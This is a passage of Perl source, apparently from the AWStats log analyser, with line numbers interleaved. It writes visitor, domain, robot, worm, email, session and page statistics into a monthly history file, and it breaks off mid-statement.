                print HISTORYTMP "$spacebar${xmlre}\n";
6193
 
                print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
6194
 
                $PosInFile{"emailreceiver"} = tell HISTORYTMP;
6195
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6196
 
 
6197
 
                # Navigation
6198
 
                print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
6199
 
                $PosInFile{"session"} = tell HISTORYTMP;
6200
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6201
 
                print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
6202
 
                $PosInFile{"sider"} = tell HISTORYTMP;
6203
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6204
 
                print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
6205
 
                $PosInFile{"filetypes"} = tell HISTORYTMP;
6206
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6207
 
                print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
6208
 
                $PosInFile{"os"} = tell HISTORYTMP;
6209
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6210
 
                print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
6211
 
                $PosInFile{"browser"} = tell HISTORYTMP;
6212
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6213
 
                print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
6214
 
                $PosInFile{"screensize"} = tell HISTORYTMP;
6215
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6216
 
                print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
6217
 
                $PosInFile{'unknownreferer'} = tell HISTORYTMP;
6218
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6219
 
                print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
6220
 
                $PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
6221
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6222
 
 
6223
 
                # Referers
6224
 
                print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
6225
 
                $PosInFile{"origin"} = tell HISTORYTMP;
6226
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6227
 
                print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
6228
 
                $PosInFile{"sereferrals"} = tell HISTORYTMP;
6229
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6230
 
                print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
6231
 
                $PosInFile{"pagerefs"} = tell HISTORYTMP;
6232
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6233
 
                print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
6234
 
                $PosInFile{"searchwords"} = tell HISTORYTMP;
6235
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6236
 
                print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
6237
 
                $PosInFile{"keywords"} = tell HISTORYTMP;
6238
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6239
 
 
6240
 
                # Others
6241
 
                print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
6242
 
                $PosInFile{"misc"} = tell HISTORYTMP;
6243
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6244
 
                print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
6245
 
                $PosInFile{"errors"} = tell HISTORYTMP;
6246
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6247
 
                print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
6248
 
                $PosInFile{"cluster"} = tell HISTORYTMP;
6249
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6250
 
 
6251
 
                foreach ( keys %TrapInfosForHTTPErrorCodes ) {
6252
 
                        print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
6253
 
                        $PosInFile{"sider_$_"} = tell HISTORYTMP;
6254
 
                        print HISTORYTMP "$spacebar${xmlre}\n";
6255
 
                }
6256
 
                foreach ( 1 .. @ExtraName - 1 ) {
6257
 
                        print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
6258
 
                        $PosInFile{"extra_$_"} = tell HISTORYTMP;
6259
 
                        print HISTORYTMP "$spacebar${xmlre}\n";
6260
 
                }
6261
 
                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
6262
 
                        print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
6263
 
                        $PosInFile{"plugin_$_"} = tell HISTORYTMP;
6264
 
                        print HISTORYTMP "$spacebar${xmlre}\n";
6265
 
                }
6266
 
                print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
6267
 
        }
6268
 
 
6269
 
        # General
6270
 
        if ( $sectiontosave eq 'general' ) {
6271
 
                $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
6272
 
                print HISTORYTMP "\n";
6273
 
                if ($xml) {
6274
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6275
 
                }
6276
 
                print HISTORYTMP
6277
 
"# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
6278
 
                print HISTORYTMP
6279
 
                  "# FirstTime   = Date of first visit for history file\n";
6280
 
                print HISTORYTMP
6281
 
                  "# LastTime    = Date of last visit for history file\n";
6282
 
                print HISTORYTMP
6283
 
"# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
6284
 
                print HISTORYTMP "# TotalVisits = Number of visits\n";
6285
 
                print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
6286
 
                print HISTORYTMP "# MonthHostsKnown   = Number of hosts known\n";
6287
 
                print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
6288
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6289
 
                print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
6290
 
                print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
6291
 
                  . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
6292
 
                  . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
6293
 
                print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
6294
 
                  . $FirstTime{$breakdate}
6295
 
                  . "${xmlre}\n";
6296
 
                print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
6297
 
                  . $LastTime{$breakdate}
6298
 
                  . "${xmlre}\n";
6299
 
                print HISTORYTMP
6300
 
"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
6301
 
                print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
6302
 
                $PosInFile{"TotalVisits"} = tell HISTORYTMP;
6303
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6304
 
                print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
6305
 
                $PosInFile{"TotalUnique"} = tell HISTORYTMP;
6306
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6307
 
                print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
6308
 
                $PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
6309
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6310
 
                print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
6311
 
                $PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
6312
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6313
 
                print HISTORYTMP "${xmleb}"
6314
 
                  . ( ${xmleb} ? "\n" : "" )
6315
 
                  . "END_GENERAL${xmlee}\n"
6316
 
                  ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
6317
 
        }
6318
 
 
6319
 
        # When
6320
 
        if ( $sectiontosave eq 'time' ) {
6321
 
                print HISTORYTMP "\n";
6322
 
                if ($xml) {
6323
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6324
 
                }
6325
 
                print HISTORYTMP
6326
 
"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
6327
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6328
 
                print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
6329
 
                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
6330
 
                        print HISTORYTMP "${xmlrb}$ix${xmlrs}"
6331
 
                          . int( $_time_p[$ix] )
6332
 
                          . "${xmlrs}"
6333
 
                          . int( $_time_h[$ix] )
6334
 
                          . "${xmlrs}"
6335
 
                          . int( $_time_k[$ix] )
6336
 
                          . "${xmlrs}"
6337
 
                          . int( $_time_nv_p[$ix] )
6338
 
                          . "${xmlrs}"
6339
 
                          . int( $_time_nv_h[$ix] )
6340
 
                          . "${xmlrs}"
6341
 
                          . int( $_time_nv_k[$ix] )
6342
 
                          . "${xmlre}\n";
6343
 
                }
6344
 
                print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
6345
 
        }
6346
 
        if ( $sectiontosave eq 'day' )
6347
 
        {    # This section must be saved after VISITOR section is read
6348
 
                print HISTORYTMP "\n";
6349
 
                if ($xml) {
6350
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6351
 
                }
6352
 
                print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
6353
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6354
 
                print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
6355
 
                  . ( scalar keys %DayHits )
6356
 
                  . "${xmlbe}\n";
6357
 
                my $monthvisits = 0;
6358
 
                foreach ( sort keys %DayHits ) {
6359
 
                        if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
6360
 
                                my $page   = $DayPages{$_}  || 0;
6361
 
                                my $hits   = $DayHits{$_}   || 0;
6362
 
                                my $bytes  = $DayBytes{$_}  || 0;
6363
 
                                my $visits = $DayVisits{$_} || 0;
6364
 
                                print HISTORYTMP
6365
 
"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
6366
 
                                $monthvisits += $visits;
6367
 
                        }
6368
 
                }
6369
 
                $MonthVisits{ $year . $month } = $monthvisits;
6370
 
                print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
6371
 
        }
6372
 
 
6373
 
        # Who
6374
 
        if ( $sectiontosave eq 'domain' ) {
6375
 
                print HISTORYTMP "\n";
6376
 
                if ($xml) {
6377
 
                        print HISTORYTMP
6378
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
6379
 
                }
6380
 
                print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
6381
 
                print HISTORYTMP
6382
 
"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
6383
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6384
 
                print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
6385
 
                  . ( scalar keys %_domener_h )
6386
 
                  . "${xmlbe}\n";
6387
 
 
6388
 
# We save page list in score sorted order to get a -output faster and with less use of memory.
6389
 
                &BuildKeyList(
6390
 
                        $MaxNbOf{'Domain'}, $MinHit{'Domain'},
6391
 
                        \%_domener_h,       \%_domener_p
6392
 
                );
6393
 
                my %keysinkeylist = ();
6394
 
                foreach (@keylist) {
6395
 
                        $keysinkeylist{$_} = 1;
6396
 
                        my $page = $_domener_p{$_} || 0;
6397
 
                        my $bytes = $_domener_k{$_}
6398
 
                          || 0;    # ||0 could be commented to reduce history file size
6399
 
                        print HISTORYTMP
6400
 
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6401
 
                }
6402
 
                foreach ( keys %_domener_h ) {
6403
 
                        if ( $keysinkeylist{$_} ) { next; }
6404
 
                        my $page = $_domener_p{$_} || 0;
6405
 
                        my $bytes = $_domener_k{$_}
6406
 
                          || 0;    # ||0 could be commented to reduce history file size
6407
 
                        print HISTORYTMP
6408
 
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6409
 
                }
6410
 
                print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
6411
 
        }
6412
 
        if ( $sectiontosave eq 'visitor' ) {
6413
 
                print HISTORYTMP "\n";
6414
 
                if ($xml) {
6415
 
                        print HISTORYTMP
6416
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
6417
 
                }
6418
 
                print HISTORYTMP
6419
 
"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
6420
 
                print HISTORYTMP
6421
 
"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
6422
 
                print HISTORYTMP
6423
 
"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
6424
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6425
 
                print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
6426
 
                  . ( scalar keys %_host_h )
6427
 
                  . "${xmlbe}\n";
6428
 
                my $monthhostsknown = 0;
6429
 
 
6430
 
# We save page list in score sorted order to get a -output faster and with less use of memory.
6431
 
                &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
6432
 
                        \%_host_p );
6433
 
                my %keysinkeylist = ();
6434
 
                foreach my $key (@keylist) {
6435
 
                        if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6436
 
                                $monthhostsknown++;
6437
 
                        }
6438
 
                        $keysinkeylist{$key} = 1;
6439
 
                        my $page      = $_host_p{$key} || 0;
6440
 
                        my $bytes     = $_host_k{$key} || 0;
6441
 
                        my $timehostl = $_host_l{$key} || 0;
6442
 
                        my $timehosts = $_host_s{$key} || 0;
6443
 
                        my $lastpage  = $_host_u{$key} || '';
6444
 
                        if ( $timehostl && $timehosts && $lastpage ) {
6445
 
 
6446
 
                                if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6447
 
 
6448
 
                                        # Session for this user is expired
6449
 
                                        if ($timehosts) {
6450
 
                                                $_session{ GetSessionRange( $timehosts, $timehostl ) }
6451
 
                                                  ++;
6452
 
                                        }
6453
 
                                        if ($lastpage) { $_url_x{$lastpage}++; }
6454
 
                                        delete $_host_s{$key};
6455
 
                                        delete $_host_u{$key};
6456
 
                                        print HISTORYTMP
6457
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6458
 
                                }
6459
 
                                else {
6460
 
 
6461
 
                                        # If this user has started a new session that is not expired
6462
 
                                        print HISTORYTMP
6463
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6464
 
                                }
6465
 
                        }
6466
 
                        else {
6467
 
                                my $hostl = $timehostl || '';
6468
 
                                print HISTORYTMP
6469
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6470
 
                        }
6471
 
                }
6472
 
                foreach my $key ( keys %_host_h ) {
6473
 
                        if ( $keysinkeylist{$key} ) { next; }
6474
 
                        if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6475
 
                                $monthhostsknown++;
6476
 
                        }
6477
 
                        my $page      = $_host_p{$key} || 0;
6478
 
                        my $bytes     = $_host_k{$key} || 0;
6479
 
                        my $timehostl = $_host_l{$key} || 0;
6480
 
                        my $timehosts = $_host_s{$key} || 0;
6481
 
                        my $lastpage  = $_host_u{$key} || '';
6482
 
                        if ( $timehostl && $timehosts && $lastpage ) {
6483
 
                                if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6484
 
 
6485
 
                                        # Session for this user is expired
6486
 
                                        if ($timehosts) {
6487
 
                                                $_session{ GetSessionRange( $timehosts, $timehostl ) }
6488
 
                                                  ++;
6489
 
                                        }
6490
 
                                        if ($lastpage) { $_url_x{$lastpage}++; }
6491
 
                                        delete $_host_s{$key};
6492
 
                                        delete $_host_u{$key};
6493
 
                                        print HISTORYTMP
6494
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6495
 
                                }
6496
 
                                else {
6497
 
 
6498
 
                                        # If this user has started a new session that is not expired
6499
 
                                        print HISTORYTMP
6500
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6501
 
                                }
6502
 
                        }
6503
 
                        else {
6504
 
                                my $hostl = $timehostl || '';
6505
 
                                print HISTORYTMP
6506
 
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6507
 
                        }
6508
 
                }
6509
 
                $MonthUnique{ $year . $month }       = ( scalar keys %_host_p );
6510
 
                $MonthHostsKnown{ $year . $month }   = $monthhostsknown;
6511
 
                $MonthHostsUnknown{ $year . $month } =
6512
 
                  ( scalar keys %_host_h ) - $monthhostsknown;
6513
 
                print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
6514
 
        }
6515
 
        if ( $sectiontosave eq 'login' ) {
6516
 
                print HISTORYTMP "\n";
6517
 
                if ($xml) {
6518
 
                        print HISTORYTMP
6519
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
6520
 
                }
6521
 
                print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
6522
 
                print HISTORYTMP
6523
 
"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
6524
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6525
 
                print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
6526
 
                  . ( scalar keys %_login_h )
6527
 
                  . "${xmlbe}\n";
6528
 
 
6529
 
# We save login list in score sorted order to get a -output faster and with less use of memory.
6530
 
                &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
6531
 
                        \%_login_p );
6532
 
                my %keysinkeylist = ();
6533
 
                foreach (@keylist) {
6534
 
                        $keysinkeylist{$_} = 1;
6535
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6536
 
                          . int( $_login_p{$_} || 0 )
6537
 
                          . "${xmlrs}"
6538
 
                          . int( $_login_h{$_} || 0 )
6539
 
                          . "${xmlrs}"
6540
 
                          . int( $_login_k{$_} || 0 )
6541
 
                          . "${xmlrs}"
6542
 
                          . ( $_login_l{$_} || '' )
6543
 
                          . "${xmlre}\n";
6544
 
                }
6545
 
                foreach ( keys %_login_h ) {
6546
 
                        if ( $keysinkeylist{$_} ) { next; }
6547
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6548
 
                          . int( $_login_p{$_} || 0 )
6549
 
                          . "${xmlrs}"
6550
 
                          . int( $_login_h{$_} || 0 )
6551
 
                          . "${xmlrs}"
6552
 
                          . int( $_login_k{$_} || 0 )
6553
 
                          . "${xmlrs}"
6554
 
                          . ( $_login_l{$_} || '' )
6555
 
                          . "${xmlre}\n";
6556
 
                }
6557
 
                print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
6558
 
        }
6559
 
        if ( $sectiontosave eq 'robot' ) {
6560
 
                print HISTORYTMP "\n";
6561
 
                if ($xml) {
6562
 
                        print HISTORYTMP
6563
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
6564
 
                }
6565
 
                print HISTORYTMP
6566
 
                  "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
6567
 
                print HISTORYTMP
6568
 
"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
6569
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6570
 
                print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
6571
 
                  . ( scalar keys %_robot_h )
6572
 
                  . "${xmlbe}\n";
6573
 
 
6574
 
# We save robot list in score sorted order to get a -output faster and with less use of memory.
6575
 
                &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
6576
 
                        \%_robot_h );
6577
 
                my %keysinkeylist = ();
6578
 
                foreach (@keylist) {
6579
 
                        $keysinkeylist{$_} = 1;
6580
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6581
 
                          . int( $_robot_h{$_} )
6582
 
                          . "${xmlrs}"
6583
 
                          . int( $_robot_k{$_} )
6584
 
                          . "${xmlrs}$_robot_l{$_}${xmlrs}"
6585
 
                          . int( $_robot_r{$_} || 0 )
6586
 
                          . "${xmlre}\n";
6587
 
                }
6588
 
                foreach ( keys %_robot_h ) {
6589
 
                        if ( $keysinkeylist{$_} ) { next; }
6590
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6591
 
                          . int( $_robot_h{$_} )
6592
 
                          . "${xmlrs}"
6593
 
                          . int( $_robot_k{$_} )
6594
 
                          . "${xmlrs}$_robot_l{$_}${xmlrs}"
6595
 
                          . int( $_robot_r{$_} || 0 )
6596
 
                          . "${xmlre}\n";
6597
 
                }
6598
 
                print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
6599
 
        }
6600
 
        if ( $sectiontosave eq 'worms' ) {
6601
 
                print HISTORYTMP "\n";
6602
 
                if ($xml) {
6603
 
                        print HISTORYTMP
6604
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
6605
 
                }
6606
 
                print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
6607
 
                print HISTORYTMP
6608
 
"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
6609
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6610
 
                print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
6611
 
                  . ( scalar keys %_worm_h )
6612
 
                  . "${xmlbe}\n";
6613
 
 
6614
 
# We save worm list in score sorted order to get a -output faster and with less use of memory.
6615
 
                &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
6616
 
                        \%_worm_h );
6617
 
                my %keysinkeylist = ();
6618
 
                foreach (@keylist) {
6619
 
                        $keysinkeylist{$_} = 1;
6620
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6621
 
                          . int( $_worm_h{$_} )
6622
 
                          . "${xmlrs}"
6623
 
                          . int( $_worm_k{$_} )
6624
 
                          . "${xmlrs}$_worm_l{$_}${xmlre}\n";
6625
 
                }
6626
 
                foreach ( keys %_worm_h ) {
6627
 
                        if ( $keysinkeylist{$_} ) { next; }
6628
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6629
 
                          . int( $_worm_h{$_} )
6630
 
                          . "${xmlrs}"
6631
 
                          . int( $_worm_k{$_} )
6632
 
                          . "${xmlrs}$_worm_l{$_}${xmlre}\n";
6633
 
                }
6634
 
                print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
6635
 
        }
6636
 
        if ( $sectiontosave eq 'emailsender' ) {
6637
 
                print HISTORYTMP "\n";
6638
 
                if ($xml) {
6639
 
                        print HISTORYTMP
6640
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6641
 
                }
6642
 
                print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6643
 
                print HISTORYTMP
6644
 
"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
6645
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6646
 
                print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
6647
 
                  . ( scalar keys %_emails_h )
6648
 
                  . "${xmlbe}\n";
6649
 
 
6650
 
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
6651
 
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
6652
 
                        \%_emails_h );
6653
 
                my %keysinkeylist = ();
6654
 
                foreach (@keylist) {
6655
 
                        $keysinkeylist{$_} = 1;
6656
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6657
 
                          . int( $_emails_h{$_} || 0 )
6658
 
                          . "${xmlrs}"
6659
 
                          . int( $_emails_k{$_} || 0 )
6660
 
                          . "${xmlrs}$_emails_l{$_}${xmlre}\n";
6661
 
                }
6662
 
                foreach ( keys %_emails_h ) {
6663
 
                        if ( $keysinkeylist{$_} ) { next; }
6664
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6665
 
                          . int( $_emails_h{$_} || 0 )
6666
 
                          . "${xmlrs}"
6667
 
                          . int( $_emails_k{$_} || 0 )
6668
 
                          . "${xmlrs}$_emails_l{$_}${xmlre}\n";
6669
 
                }
6670
 
                print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
6671
 
        }
6672
 
        if ( $sectiontosave eq 'emailreceiver' ) {
6673
 
                print HISTORYTMP "\n";
6674
 
                if ($xml) {
6675
 
                        print HISTORYTMP
6676
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6677
 
                }
6678
 
                print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6679
 
                print HISTORYTMP
6680
 
"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
6681
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6682
 
                print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
6683
 
                  . ( scalar keys %_emailr_h )
6684
 
                  . "${xmlbe}\n";
6685
 
 
6686
 
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
6687
 
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
6688
 
                        \%_emailr_h );
6689
 
                my %keysinkeylist = ();
6690
 
                foreach (@keylist) {
6691
 
                        $keysinkeylist{$_} = 1;
6692
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6693
 
                          . int( $_emailr_h{$_} || 0 )
6694
 
                          . "${xmlrs}"
6695
 
                          . int( $_emailr_k{$_} || 0 )
6696
 
                          . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6697
 
                }
6698
 
                foreach ( keys %_emailr_h ) {
6699
 
                        if ( $keysinkeylist{$_} ) { next; }
6700
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6701
 
                          . int( $_emailr_h{$_} || 0 )
6702
 
                          . "${xmlrs}"
6703
 
                          . int( $_emailr_k{$_} || 0 )
6704
 
                          . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6705
 
                }
6706
 
                print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
6707
 
        }
6708
 
 
6709
 
        # Navigation
6710
 
        if ( $sectiontosave eq 'session' )
6711
 
        {    # This section must be saved after VISITOR section is read
6712
 
                print HISTORYTMP "\n";
6713
 
                if ($xml) {
6714
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6715
 
                }
6716
 
                print HISTORYTMP "# Session range - Number of visits\n";
6717
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6718
 
                print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
6719
 
                  . ( scalar keys %_session )
6720
 
                  . "${xmlbe}\n";
6721
 
                foreach ( keys %_session ) {
6722
 
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
6723
 
                          . int( $_session{$_} )
6724
 
                          . "${xmlre}\n";
6725
 
                }
6726
 
                print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
6727
 
        }
6728
 
        if ( $sectiontosave eq 'sider' )
6729
 
        {    # This section must be saved after VISITOR section is read
6730
 
                print HISTORYTMP "\n";
6731
 
                if ($xml) {
6732
 
                        print HISTORYTMP
6733
 
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
6734
 
                }
6735
 
                print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
6736
 
                print HISTORYTMP
6737
 
"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
6738
 
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
6739
 
                print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
6740
 
                  . ( scalar keys %_url_p )
6741
 
                  . "${xmlbe}\n";
6742
 
 
6743
 
# We save page list in score sorted order to get a -output faster and with less use of memory.
6744
 
                &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
6745
 
                        \%_url_p );
6746
 
                %keysinkeylist = ();
6747
 
                foreach (@keylist) {
6748
 
                        $keysinkeylist{$_} = 1;
6749
 
                        my $newkey = $_;
6750
 
                        $newkey =~ s/([^:])\/\//$1\//g
6751
 
                          ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6752
 
                        print HISTORYTMP "${xmlrb}"
6753
 
                          . XMLEncodeForHisto($newkey)
6754
 
                          . "${xmlrs}"
6755
 
